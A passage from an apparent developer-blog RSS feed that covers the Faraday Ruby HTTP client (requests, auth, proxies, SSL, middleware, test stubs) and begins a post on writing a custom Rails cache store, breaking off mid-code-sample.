<span class="pl-s1">conn</span><span class="pl-kos">.</span><span class="pl-en">post</span> <span class="pl-s">'http://example.com'</span><span class="pl-kos">,</span> <span class="pl-pds">:some_param</span> <span class="pl-c1">=&gt;</span> <span class="pl-s">'Some Value'</span>
<span class="pl-s1">conn</span><span class="pl-kos">.</span><span class="pl-en">put</span>  <span class="pl-s">'http://example.com'</span><span class="pl-kos">,</span> <span class="pl-pds">:other_param</span> <span class="pl-c1">=&gt;</span> <span class="pl-s">'Other Value'</span>
<span class="pl-s1">conn</span><span class="pl-kos">.</span><span class="pl-en">delete</span> <span class="pl-s">'http://example.com/foo'</span>
<span class="pl-c"># head, patch, and options all work similarly</span></pre></div>
<p>Parameters can be set inline as the 2nd hash argument. To specify headers, add optional hash after the parameters argument or set them through an accessor:</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-en">conn</span><span class="pl-kos">.</span><span class="pl-en">get</span> <span class="pl-s">'http://example.com'</span><span class="pl-kos">,</span> <span class="pl-kos">{</span><span class="pl-kos">}</span><span class="pl-kos">,</span> <span class="pl-kos">{</span><span class="pl-s">'Accept'</span> <span class="pl-c1">=&gt;</span> <span class="pl-s">'vnd.github-v3+json'</span><span class="pl-kos">}</span>

<span class="pl-en">conn</span><span class="pl-kos">.</span><span class="pl-en">params</span>  <span class="pl-c1">=</span> <span class="pl-kos">{</span><span class="pl-s">'tesla'</span> <span class="pl-c1">=&gt;</span> <span class="pl-s">'coil'</span><span class="pl-kos">}</span>
<span class="pl-en">conn</span><span class="pl-kos">.</span><span class="pl-en">headers</span> <span class="pl-c1">=</span> <span class="pl-kos">{</span><span class="pl-s">'Accept'</span> <span class="pl-c1">=&gt;</span> <span class="pl-s">'vnd.github-v3+json'</span><span class="pl-kos">}</span></pre></div>
<p>If you have a restful resource you're accessing with a common base url, you can pass in a <code>:url</code> parameter that'll be prefixed to all other calls. Other request options can also be set here.</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-s1">conn</span> <span class="pl-c1">=</span> <span class="pl-v">Faraday</span><span class="pl-kos">.</span><span class="pl-en">new</span><span class="pl-kos">(</span><span class="pl-pds">:url</span> <span class="pl-c1">=&gt;</span> <span class="pl-s">'http://example.com/comments'</span><span class="pl-kos">)</span>
<span class="pl-s1">conn</span><span class="pl-kos">.</span><span class="pl-en">get</span> <span class="pl-s">'/index'</span>  <span class="pl-c"># GET http://example.com/comments/index</span></pre></div>
<p>All HTTP verb methods can take an optional block that will yield a <code>Faraday::Request</code> object:</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-en">conn</span><span class="pl-kos">.</span><span class="pl-en">get</span> <span class="pl-s">'/'</span> <span class="pl-k">do</span> |<span class="pl-s1">request</span>|
  <span class="pl-s1">request</span><span class="pl-kos">.</span><span class="pl-en">params</span><span class="pl-kos">[</span><span class="pl-s">'limit'</span><span class="pl-kos">]</span> <span class="pl-c1">=</span> <span class="pl-c1">100</span>
  <span class="pl-s1">request</span><span class="pl-kos">.</span><span class="pl-en">headers</span><span class="pl-kos">[</span><span class="pl-s">'Content-Type'</span><span class="pl-kos">]</span> <span class="pl-c1">=</span> <span class="pl-s">'application/json'</span>
  <span class="pl-s1">request</span><span class="pl-kos">.</span><span class="pl-en">body</span> <span class="pl-c1">=</span> <span class="pl-s">"{some: body}"</span>
<span class="pl-k">end</span></pre></div>
<div class="markdown-heading"><h3 class="heading-element">File upload</h3><a id="user-content-file-upload" class="anchor" aria-label="Permalink: File upload" href="#file-upload"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<div class="highlight highlight-source-ruby"><pre><span class="pl-s1">payload</span> <span class="pl-c1">=</span> <span class="pl-kos">{</span> <span class="pl-pds">:name</span> <span class="pl-c1">=&gt;</span> <span class="pl-s">'Maguro'</span> <span class="pl-kos">}</span>

<span class="pl-c"># uploading a file:</span>
<span class="pl-s1">payload</span> <span class="pl-c1">=</span> <span class="pl-kos">{</span> <span class="pl-pds">:profile_pic</span> <span class="pl-c1">=&gt;</span> <span class="pl-v">Faraday</span>::<span class="pl-v">UploadIO</span><span class="pl-kos">.</span><span class="pl-en">new</span><span class="pl-kos">(</span><span class="pl-s">'avatar.jpg'</span><span class="pl-kos">,</span> <span class="pl-s">'image/jpeg'</span><span class="pl-kos">)</span> <span class="pl-kos">}</span>

<span class="pl-c"># "Multipart" middleware detects files and encodes with "multipart/form-data":</span>
<span class="pl-en">conn</span><span class="pl-kos">.</span><span class="pl-en">put</span> <span class="pl-s">'/profile'</span><span class="pl-kos">,</span> <span class="pl-s1">payload</span></pre></div>
<div class="markdown-heading"><h3 class="heading-element">Authentication</h3><a id="user-content-authentication" class="anchor" aria-label="Permalink: Authentication" href="#authentication"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Basic and Token authentication are handled by <code>Faraday::Request::BasicAuthentication</code> and <code>Faraday::Request::TokenAuthentication</code> respectively. These can be added as middleware manually or through the helper methods.</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-en">conn</span><span class="pl-kos">.</span><span class="pl-en">basic_auth</span><span class="pl-kos">(</span><span class="pl-s">'pita'</span><span class="pl-kos">,</span> <span class="pl-s">'ch1ps'</span><span class="pl-kos">)</span>
<span class="pl-en">conn</span><span class="pl-kos">.</span><span class="pl-en">token_auth</span><span class="pl-kos">(</span><span class="pl-s">'pitach1ps-token'</span><span class="pl-kos">)</span></pre></div>
<div class="markdown-heading"><h3 class="heading-element">Proxies</h3><a id="user-content-proxies" class="anchor" aria-label="Permalink: Proxies" href="#proxies"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>To specify an HTTP proxy:</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-v">Faraday</span><span class="pl-kos">.</span><span class="pl-en">new</span><span class="pl-kos">(</span><span class="pl-pds">:proxy</span> <span class="pl-c1">=&gt;</span> <span class="pl-s">'http://proxy.example.com:80'</span><span class="pl-kos">)</span>
<span class="pl-v">Faraday</span><span class="pl-kos">.</span><span class="pl-en">new</span><span class="pl-kos">(</span><span class="pl-pds">:proxy</span> <span class="pl-c1">=&gt;</span> <span class="pl-kos">{</span>
  <span class="pl-pds">:uri</span>      <span class="pl-c1">=&gt;</span> <span class="pl-s">'http://proxy.example.com'</span><span class="pl-kos">,</span>
  <span class="pl-pds">:user</span>     <span class="pl-c1">=&gt;</span> <span class="pl-s">'foo'</span><span class="pl-kos">,</span>
  <span class="pl-pds">:password</span> <span class="pl-c1">=&gt;</span> <span class="pl-s">'bar'</span>
<span class="pl-kos">}</span><span class="pl-kos">)</span></pre></div>
<div class="markdown-heading"><h3 class="heading-element">SSL</h3><a id="user-content-ssl" class="anchor" aria-label="Permalink: SSL" href="#ssl"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>See the <a href="https://github.com/technoweenie/faraday/wiki/Setting-up-SSL-certificates">Setting up SSL certificates</a> wiki page.</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-s1">conn</span> <span class="pl-c1">=</span> <span class="pl-v">Faraday</span><span class="pl-kos">.</span><span class="pl-en">new</span><span class="pl-kos">(</span><span class="pl-s">'https://encrypted.google.com'</span><span class="pl-kos">,</span> <span class="pl-pds">:ssl</span> <span class="pl-c1">=&gt;</span> <span class="pl-kos">{</span>
  <span class="pl-pds">:ca_path</span> <span class="pl-c1">=&gt;</span> <span class="pl-s">"/usr/lib/ssl/certs"</span>
<span class="pl-kos">}</span><span class="pl-kos">)</span>
<span class="pl-s1">conn</span><span class="pl-kos">.</span><span class="pl-en">get</span> <span class="pl-s">'/search?q=asdf'</span></pre></div>
<div class="markdown-heading"><h2 class="heading-element">Faraday Middleware</h2><a id="user-content-faraday-middleware" class="anchor" aria-label="Permalink: Faraday Middleware" href="#faraday-middleware"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Like a Rack app, a <code>Faraday::Connection</code> object has a list of middlewares. Faraday middlewares are passed an <code>env</code> hash that has request and response information. Middlewares can manipulate this information before and after a request is executed.</p>
<p>To make this more concrete, let's take a look at a new <code>Faraday::Connection</code>:</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-s1">conn</span> <span class="pl-c1">=</span> <span class="pl-v">Faraday</span><span class="pl-kos">.</span><span class="pl-en">new</span>
<span class="pl-s1">conn</span><span class="pl-kos">.</span><span class="pl-en">builder</span>

&gt; <span class="pl-c">#&lt;Faraday::Builder:0x00000131239308</span>
    <span class="pl-c1">@handlers</span><span class="pl-c1">=</span><span class="pl-kos">[</span><span class="pl-v">Faraday</span>::<span class="pl-v">Request</span>::<span class="pl-v">UrlEncoded</span><span class="pl-kos">,</span> <span class="pl-v">Faraday</span>::<span class="pl-v">Adapter</span>::<span class="pl-v">NetHttp</span><span class="pl-kos">]</span>&gt;<span class="pl-en"></span></pre></div>
<p><code>Faraday::Builder</code> is analogus to <code>Rack::Builder</code>. The newly initialized <code>Faraday::Connection</code> object has a middleware <code>Faraday::Request::UrlEncoded</code> in front of an adapter <code>Faraday::Adapter::NetHttp</code>. When a connection object executes a request, it creates a shared <code>env</code> hash, wraps the outer middlewares around each inner middleware, and executes the <code>call</code> method. Also like a Rack application, the adapter at the end of the builder chain is what actually executes the request.</p>
<p>Middlewares can be grouped into 3 types: request middlewares, response middlewares, and adapters. The distinction between the three is cosmetic. The following two initializers are equivalent:</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-v">Faraday</span><span class="pl-kos">.</span><span class="pl-en">new</span> <span class="pl-k">do</span> |<span class="pl-s1">builder</span>|
  <span class="pl-s1">builder</span><span class="pl-kos">.</span><span class="pl-en">request</span>  <span class="pl-pds">:retry</span>
  <span class="pl-s1">builder</span><span class="pl-kos">.</span><span class="pl-en">request</span>  <span class="pl-pds">:basic_authentication</span><span class="pl-kos">,</span> <span class="pl-s">'login'</span><span class="pl-kos">,</span> <span class="pl-s">'pass'</span>
  <span class="pl-s1">builder</span><span class="pl-kos">.</span><span class="pl-en">response</span> <span class="pl-pds">:logger</span>
  <span class="pl-s1">builder</span><span class="pl-kos">.</span><span class="pl-en">adapter</span>  <span class="pl-pds">:net_http</span>
<span class="pl-k">end</span>

<span class="pl-v">Faraday</span><span class="pl-kos">.</span><span class="pl-en">new</span> <span class="pl-k">do</span> |<span class="pl-s1">builder</span>|
  <span class="pl-s1">builder</span><span class="pl-kos">.</span><span class="pl-en">use</span> <span class="pl-v">Faraday</span>::<span class="pl-v">Request</span>::<span class="pl-v">Retry</span>
  <span class="pl-s1">builder</span><span class="pl-kos">.</span><span class="pl-en">use</span> <span class="pl-v">Faraday</span>::<span class="pl-v">Request</span>::<span class="pl-v">BasicAuthentication</span><span class="pl-kos">,</span> <span class="pl-s">'login'</span><span class="pl-kos">,</span> <span class="pl-s">'pass'</span>
  <span class="pl-s1">builder</span><span class="pl-kos">.</span><span class="pl-en">use</span> <span class="pl-v">Faraday</span>::<span class="pl-v">Response</span>::<span class="pl-v">Logger</span>
  <span class="pl-s1">builder</span><span class="pl-kos">.</span><span class="pl-en">use</span> <span class="pl-v">Faraday</span>::<span class="pl-v">Adapter</span>::<span class="pl-v">NetHttp</span>
<span class="pl-k">end</span></pre></div>
<div class="markdown-heading"><h3 class="heading-element">Using a Different HTTP Adapter</h3><a id="user-content-using-a-different-http-adapter" class="anchor" aria-label="Permalink: Using a Different HTTP Adapter" href="#using-a-different-http-adapter"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>If you wanted to use a different HTTP adapter, you can plug one in. For example, to use a EventMachine friendly client, you can switch to the EMHttp adapter:</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-s1">conn</span> <span class="pl-c1">=</span> <span class="pl-v">Faraday</span><span class="pl-kos">.</span><span class="pl-en">new</span> <span class="pl-k">do</span> |<span class="pl-s1">builder</span>|
  <span class="pl-s1">builder</span><span class="pl-kos">.</span><span class="pl-en">use</span> <span class="pl-v">Faraday</span>::<span class="pl-v">Adapter</span>::<span class="pl-v">EMHttp</span>

  <span class="pl-c"># alternative syntax that looks up registered adapters from lib/faraday/adapter.rb</span>
  <span class="pl-s1">builder</span><span class="pl-kos">.</span><span class="pl-en">adapter</span> <span class="pl-pds">:em_http</span>
<span class="pl-k">end</span></pre></div>
<p>Currently, the supported adapters are Net::HTTP, EM::HTTP, Excon, and Patron.</p>
<div class="markdown-heading"><h3 class="heading-element">Advanced Middleware Usage</h3><a id="user-content-advanced-middleware-usage" class="anchor" aria-label="Permalink: Advanced Middleware Usage" href="#advanced-middleware-usage"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>The order in which middleware is stacked is important. Like with Rack, the first middleware on the list wraps all others, while the last middleware is the innermost one, so that's usually the adapter.</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-s1">conn</span> <span class="pl-c1">=</span> <span class="pl-v">Faraday</span><span class="pl-kos">.</span><span class="pl-en">new</span><span class="pl-kos">(</span><span class="pl-pds">:url</span> <span class="pl-c1">=&gt;</span> <span class="pl-s">'http://sushi.com'</span><span class="pl-kos">)</span> <span class="pl-k">do</span> |<span class="pl-s1">builder</span>|
  <span class="pl-c"># POST/PUT params encoders:</span>
  <span class="pl-s1">builder</span><span class="pl-kos">.</span><span class="pl-en">request</span>  <span class="pl-pds">:multipart</span>
  <span class="pl-s1">builder</span><span class="pl-kos">.</span><span class="pl-en">request</span>  <span class="pl-pds">:url_encoded</span>

  <span class="pl-s1">builder</span><span class="pl-kos">.</span><span class="pl-en">adapter</span>  <span class="pl-pds">:net_http</span>
<span class="pl-k">end</span></pre></div>
<p>This request middleware setup affects POST/PUT requests in the following way:</p>
<ol>
<li>
<code>Request::Multipart</code> checks for files in the payload, otherwise leaves everything untouched;</li>
<li>
<code>Request::UrlEncoded</code> encodes as "application/x-www-form-urlencoded" if not already encoded or of another type</li>
</ol>
<p>Swapping middleware means giving the other priority. Specifying the "Content-Type" for the request is explicitly stating which middleware should process it.</p>
<p>Examples:</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-s1">payload</span> <span class="pl-c1">=</span> <span class="pl-kos">{</span> <span class="pl-pds">:name</span> <span class="pl-c1">=&gt;</span> <span class="pl-s">'Maguro'</span> <span class="pl-kos">}</span>

<span class="pl-c"># uploading a file:</span>
<span class="pl-s1">payload</span> <span class="pl-c1">=</span> <span class="pl-kos">{</span> <span class="pl-pds">:profile_pic</span> <span class="pl-c1">=&gt;</span> <span class="pl-v">Faraday</span>::<span class="pl-v">UploadIO</span><span class="pl-kos">.</span><span class="pl-en">new</span><span class="pl-kos">(</span><span class="pl-s">'avatar.jpg'</span><span class="pl-kos">,</span> <span class="pl-s">'image/jpeg'</span><span class="pl-kos">)</span> <span class="pl-kos">}</span>

<span class="pl-c"># "Multipart" middleware detects files and encodes with "multipart/form-data":</span>
<span class="pl-en">conn</span><span class="pl-kos">.</span><span class="pl-en">put</span> <span class="pl-s">'/profile'</span><span class="pl-kos">,</span> <span class="pl-s1">payload</span></pre></div>
<div class="markdown-heading"><h3 class="heading-element">Modifying the Middleware Stack</h3><a id="user-content-modifying-the-middleware-stack" class="anchor" aria-label="Permalink: Modifying the Middleware Stack" href="#modifying-the-middleware-stack"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Each <code>Faraday::Connection</code> instance has a <code>Faraday::Builder</code> instance that can be used to manipulate the middlewares stack.</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-s1">conn</span> <span class="pl-c1">=</span> <span class="pl-v">Faraday</span><span class="pl-kos">.</span><span class="pl-en">new</span>
<span class="pl-s1">conn</span><span class="pl-kos">.</span><span class="pl-en">builder</span><span class="pl-kos">.</span><span class="pl-en">swap</span><span class="pl-kos">(</span><span class="pl-c1">1</span><span class="pl-kos">,</span> <span class="pl-v">Faraday</span>::<span class="pl-v">Adapter</span>::<span class="pl-v">EMHttp</span><span class="pl-kos">)</span>  <span class="pl-c"># replace adapter</span>
<span class="pl-s1">conn</span><span class="pl-kos">.</span><span class="pl-en">builder</span><span class="pl-kos">.</span><span class="pl-en">insert</span><span class="pl-kos">(</span><span class="pl-c1">0</span><span class="pl-kos">,</span> <span class="pl-v">MyCustomMiddleware</span><span class="pl-kos">)</span>      <span class="pl-c"># add middleware to beginning</span>
<span class="pl-s1">conn</span><span class="pl-kos">.</span><span class="pl-en">builder</span><span class="pl-kos">.</span><span class="pl-en">delete</span><span class="pl-kos">(</span><span class="pl-v">MyCustomMiddleware</span><span class="pl-kos">)</span></pre></div>
<p>For a full list of actions, take a look at the <code>Faraday::Builder</code> documentation.</p>
<div class="markdown-heading"><h3 class="heading-element">Writing Middleware</h3><a id="user-content-writing-middleware" class="anchor" aria-label="Permalink: Writing Middleware" href="#writing-middleware"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Middleware are classes that respond to <code>call</code>. They wrap the request/response cycle. When it's time to execute a middleware, it's called with an <code>env</code> hash that has information about the request and response. The general interface for a middleware is:</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-k">class</span> <span class="pl-v">MyCustomMiddleware</span>
  <span class="pl-k">def</span> <span class="pl-en">call</span><span class="pl-kos">(</span><span class="pl-s1">env</span><span class="pl-kos">)</span>
    <span class="pl-c"># do something with the request</span>

    <span class="pl-c1">@app</span><span class="pl-kos">.</span><span class="pl-en">call</span><span class="pl-kos">(</span><span class="pl-s1">env</span><span class="pl-kos">)</span><span class="pl-kos">.</span><span class="pl-en">on_complete</span> <span class="pl-k">do</span> |<span class="pl-s1">env</span>|
      <span class="pl-c"># do something with the response</span>
      <span class="pl-c"># env[:response] is now filled in</span>
    <span class="pl-k">end</span>
  <span class="pl-k">end</span>
<span class="pl-k">end</span></pre></div>
<p>It's important to do all processing of the response only in the on_complete block. This enables middleware to work in parallel mode where requests are asynchronous.</p>
<p><code>env</code> is a hash with symbol keys that contains info about the request and response.</p>
<pre><code>:method - a symbolized request method (:get, :post, :put, :delete, :option, :patch)
:body   - the request body that will eventually be converted to a string.
:url    - URI instance for the current request.
:status           - HTTP response status code
:request_headers  - hash of HTTP Headers to be sent to the server
:response_headers - Hash of HTTP headers from the server
:parallel_manager - sent if the connection is in parallel mode
:request - Hash of options for configuring the request.
  :timeout      - open/read timeout Integer in seconds
  :open_timeout - read timeout Integer in seconds
  :proxy        - Hash of proxy options
    :uri        - Proxy Server URI
    :user       - Proxy server username
    :password   - Proxy server password
:response - Faraday::Response instance. Available only after `on_complete`
:ssl - Hash of options for configuring SSL requests.
  :ca_path - path to directory with certificates
  :ca_file - path to certificate file
</code></pre>
<div class="markdown-heading"><h3 class="heading-element">Testing Middleware</h3><a id="user-content-testing-middleware" class="anchor" aria-label="Permalink: Testing Middleware" href="#testing-middleware"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Faraday::Adapter::Test is an HTTP adapter middleware that lets you to fake responses.</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-c"># It's possible to define stubbed request outside a test adapter block.</span>
<span class="pl-s1">stubs</span> <span class="pl-c1">=</span> <span class="pl-v">Faraday</span>::<span class="pl-v">Adapter</span>::<span class="pl-v">Test</span>::<span class="pl-v">Stubs</span><span class="pl-kos">.</span><span class="pl-en">new</span> <span class="pl-k">do</span> |<span class="pl-s1">stub</span>|
  <span class="pl-s1">stub</span><span class="pl-kos">.</span><span class="pl-en">get</span><span class="pl-kos">(</span><span class="pl-s">'/tamago'</span><span class="pl-kos">)</span> <span class="pl-kos">{</span> <span class="pl-kos">[</span><span class="pl-c1">200</span><span class="pl-kos">,</span> <span class="pl-kos">{</span><span class="pl-kos">}</span><span class="pl-kos">,</span> <span class="pl-s">'egg'</span><span class="pl-kos">]</span> <span class="pl-kos">}</span>
<span class="pl-k">end</span>

<span class="pl-c"># You can pass stubbed request to the test adapter or define them in a block</span>
<span class="pl-c"># or a combination of the two.</span>
<span class="pl-s1">test</span> <span class="pl-c1">=</span> <span class="pl-v">Faraday</span><span class="pl-kos">.</span><span class="pl-en">new</span> <span class="pl-k">do</span> |<span class="pl-s1">builder</span>|
  <span class="pl-s1">builder</span><span class="pl-kos">.</span><span class="pl-en">adapter</span> <span class="pl-pds">:test</span><span class="pl-kos">,</span> <span class="pl-s1">stubs</span> <span class="pl-k">do</span> |<span class="pl-s1">stub</span>|
    <span class="pl-s1">stub</span><span class="pl-kos">.</span><span class="pl-en">get</span><span class="pl-kos">(</span><span class="pl-s">'/ebi'</span><span class="pl-kos">)</span> <span class="pl-kos">{</span><span class="pl-kos">[</span> <span class="pl-c1">200</span><span class="pl-kos">,</span> <span class="pl-kos">{</span><span class="pl-kos">}</span><span class="pl-kos">,</span> <span class="pl-s">'shrimp'</span> <span class="pl-kos">]</span><span class="pl-kos">}</span>
  <span class="pl-k">end</span>
<span class="pl-k">end</span>

<span class="pl-c"># It's also possible to stub additional requests after the connection has</span>
<span class="pl-c"># been initialized. This is useful for testing.</span>
<span class="pl-s1">stubs</span><span class="pl-kos">.</span><span class="pl-en">get</span><span class="pl-kos">(</span><span class="pl-s">'/uni'</span><span class="pl-kos">)</span> <span class="pl-kos">{</span><span class="pl-kos">[</span> <span class="pl-c1">200</span><span class="pl-kos">,</span> <span class="pl-kos">{</span><span class="pl-kos">}</span><span class="pl-kos">,</span> <span class="pl-s">'urchin'</span> <span class="pl-kos">]</span><span class="pl-kos">}</span>

<span class="pl-s1">resp</span> <span class="pl-c1">=</span> <span class="pl-s1">test</span><span class="pl-kos">.</span><span class="pl-en">get</span> <span class="pl-s">'/tamago'</span>
<span class="pl-s1">resp</span><span class="pl-kos">.</span><span class="pl-en">body</span> <span class="pl-c"># =&gt; 'egg'</span>
<span class="pl-s1">resp</span> <span class="pl-c1">=</span> <span class="pl-s1">test</span><span class="pl-kos">.</span><span class="pl-en">get</span> <span class="pl-s">'/ebi'</span>
<span class="pl-s1">resp</span><span class="pl-kos">.</span><span class="pl-en">body</span> <span class="pl-c"># =&gt; 'shrimp'</span>
<span class="pl-s1">resp</span> <span class="pl-c1">=</span> <span class="pl-s1">test</span><span class="pl-kos">.</span><span class="pl-en">get</span> <span class="pl-s">'/uni'</span>
<span class="pl-s1">resp</span><span class="pl-kos">.</span><span class="pl-en">body</span> <span class="pl-c"># =&gt; 'urchin'</span>
<span class="pl-s1">resp</span> <span class="pl-c1">=</span> <span class="pl-s1">test</span><span class="pl-kos">.</span><span class="pl-en">get</span> <span class="pl-s">'/else'</span> <span class="pl-c">#=&gt; raises "no such stub" error</span>

<span class="pl-c"># If you like, you can treat your stubs as mocks by verifying that all of</span>
<span class="pl-c"># the stubbed calls were made. NOTE that this feature is still fairly</span>
<span class="pl-c"># experimental: It will not verify the order or count of any stub, only that</span>
<span class="pl-c"># it was called once during the course of the test.</span>
<span class="pl-s1">stubs</span><span class="pl-kos">.</span><span class="pl-en">verify_stubbed_calls</span></pre></div>
<div class="markdown-heading"><h3 class="heading-element">Useful Middleware</h3><a id="user-content-useful-middleware" class="anchor" aria-label="Permalink: Useful Middleware" href="#useful-middleware"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ul>
<li>
<a href="https://github.com/pengwynn/faraday_middleware">faraday-middleware</a> - collection of Faraday middlewares.</li>
<li>
<a href="https://github.com/dmarkow/faraday_yaml">faraday_yaml</a> - yaml request/response processing</li>
</ul>
  ]]></description>
</item>

<item>
  <title>Writing a Custom Rails Cache Store</title>
  <link>https://jch.github.io/posts/2012-03-06-writing-a-custom-rails-cache-store.html
</link>
  <guid>https://jch.github.io/posts/2012-03-06-writing-a-custom-rails-cache-store.html
</guid>
  <pubDate>Tue, 06 Mar 2012 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p>When you use Rails built-in helpers for page, action, and fragment caching, the cached data is stored into an instance of ActiveSupport::Cache::Store. But while the interface for using the cache stores are the same, each cache store implementation has different performance characteristics and are suited for different jobs. In this post, I'll cover what cache stores are available with Rails by default, how to tune them, and how to write your own custom cache store.</p>
<div class="markdown-heading"><h2 class="heading-element">Grabbing the Code</h2><a id="user-content-grabbing-the-code" class="anchor" aria-label="Permalink: Grabbing the Code" href="#grabbing-the-code"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>If you want to follow along in the code, I recommend cloning the <a href="https://github.com/rails/rails/">Rails repository</a>. The cache related code I'm covering all live within <a href="https://github.com/rails/rails/blob/master/activesupport/lib/active_support/cache.rb">activesupport/lib/cache.rb</a> and <a href="https://github.com/rails/rails/tree/master/activesupport/lib/active_support/cache">activesupport/lib/cache</a> folder. The corresponding tests live in <a href="https://github.com/rails/rails/blob/master/activesupport/test/caching_test.rb">activesupport/test/caching_test.rb</a>.</p>
<div class="markdown-heading"><h2 class="heading-element">Introducing the Abstract Store</h2><a id="user-content-introducing-the-abstract-store" class="anchor" aria-label="Permalink: Introducing the Abstract Store" href="#introducing-the-abstract-store"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>All cache store implementations inherit from an abstract store named <a href="http://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html" rel="nofollow">ActiveSupport::Cache::Store</a>. This class defines the public interface that's used by Rails to do caching. The three basic operations are read, write, and delete. Here's a simple example you can run in irb:</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-en">require</span> <span class="pl-s">'activesupport'</span>
<span class="pl-s1">cache</span> <span class="pl-c1">=</span> <span class="pl-v">ActiveSupport</span>::<span class="pl-v">Cache</span><span class="pl-kos">.</span><span class="pl-en">lookup_store</span><span class="pl-kos">(</span><span class="pl-pds">:memory_store</span><span class="pl-kos">)</span>
<span class="pl-s1">cache</span><span class="pl-kos">.</span><span class="pl-en">read</span><span class="pl-kos">(</span><span class="pl-s">'foo'</span><span class="pl-kos">)</span><span class="pl-en"></span>
<span class="pl-c1">=&gt;</span> <span class="pl-c1">nil</span>
<span class="pl-s1">cache</span><span class="pl-kos">.</span><span class="pl-en">write</span><span class="pl-kos">(</span><span class="pl-s">'foo'</span><span class="pl-kos">,</span> <span class="pl-s">'bar'</span><span class="pl-kos">)</span>
<span class="pl-s1">cache</span><span class="pl-kos">.</span><span class="pl-en">read</span><span class="pl-kos">(</span><span class="pl-s">'foo'</span><span class="pl-kos">)</span><span class="pl-en"></span>
<span class="pl-c1">=&gt;</span> <span class="pl-s">'bar'</span>
<span class="pl-s1">cache</span><span class="pl-kos">.</span><span class="pl-en">delete</span><span class="pl-kos">(</span><span class="pl-s">'foo'</span><span class="pl-kos">)</span>
<span class="pl-s1">cache</span><span class="pl-kos">.</span><span class="pl-en">read</span><span class="pl-kos">(</span><span class="pl-s">'foo'</span><span class="pl-kos">)</span>
<span class="pl-c1">=&gt;</span> <span class="pl-c1">nil</span></pre></div>
<p>After requiring activesupport, we ask for an instance of a MemoryStore (we'll cover the different store types later in this post). The interface for read, write, and delete are self explanatory. You can also <a href="http://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html" rel="nofollow">customize the behavior</a> of these actions.</p>
<div class="markdown-heading"><h2 class="heading-element">Store Implementations</h2><a id="user-content-store-implementations" class="anchor" aria-label="Permalink: Store Implementations" href="#store-implementations"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>The concrete store implementations are well documented, so I'll introduce them briefly here and leave the details to the documentation.</p>
<ul>
<li>
<p><strong>MemoryStore</strong> - a cache store that stores data in a plain-old Ruby hash. As an added feature, it keeps track of cache access and cache size, and will prune the cache when it hits a customizable max size.</p>
</li>
<li>
<p><strong>FileStore</strong> - a cache store that stores data on the filesystem. It also caches multiple read calls within the same block in memory to decrease I/O.</p>
</li>
<li>
<p><strong>MemCacheStore</strong> - the big daddy of cache stores. Backed by memcached, this store allows you to specify multiple memcached servers and load balances between them.</p>
</li>
<li>
<p><strong>NullStore</strong> - Interesting cache store that does nothing. That's right, if you look at <a href="https://github.com/rails/rails/blob/master/activesupport/lib/active_support/cache/null_store.rb">its implementation</a>, it's just a bunch of empty methods. It's perfect for use as a mock cache store for testing, or as a template for writing your own cache store.</p>
</li>
</ul>
<div class="markdown-heading"><h2 class="heading-element">Rails Initialization</h2><a id="user-content-rails-initialization" class="anchor" aria-label="Permalink: Rails Initialization" href="#rails-initialization"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>By default, Rails 3 will initialize a FileStore that you can reference through <code>Rails.cache</code>. This cache is used internally by Rails to cache classes, pages, actions, and fragments. If you want to change which cache store is used, you can configure it in your application.rb</p>
<pre><code># use a MemoryStore cache with a max size of 512 megabytes
config.cache_store = [:memory_store, {:size =&gt; 536870912}]
</code></pre>
<p>In production mode, Rails will also insert <a href="http://rtomayko.github.com/rack-cache/">Rack::Cache</a> to the top of the middleware stack and use Rails.cache as its storage. Note that even though Rack::Cache's heap storage does not bound the size of its cache, if you use ActiveSupport's MemoryStore, the least recently used entries will be pruned from the cache when it hits your specified limit. So if you <a href="http://tomayko.com/writings/things-caches-do" rel="nofollow">set correct cache headers</a>, Rack::Cache will pick them and cache your responses.</p>
<div class="markdown-heading"><h2 class="heading-element">Writing A Custom Cache Store</h2><a id="user-content-writing-a-custom-cache-store" class="anchor" aria-label="Permalink: Writing A Custom Cache Store" href="#writing-a-custom-cache-store"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>The default cache stores are a perfect fit for most situations, but if you do need to write a custom cache store, rest assured that it's easy to do.</p>
<p>The three main methods to override are:</p>
<div class="highlight highlight-source-ruby"><pre><span class="pl-c"># Read an entry from the cache implementation. Subclasses must implement this method.</span>
<span class="pl-k">def</span> <span class="pl-en">read_entry</span><span class="pl-kos">(</span><span class="pl-s1">key</span><span class="pl-kos">,</span> <span class="pl-s1">options</span><span class="pl-kos">)</span> <span class="pl-c"># :nodoc:</span>
  <span class="pl-en">raise</span> <span class="pl-v">NotImplementedError</span><span class="pl-kos">.</span><span class="pl-en">new</span>
<span class="pl-k">end</span>

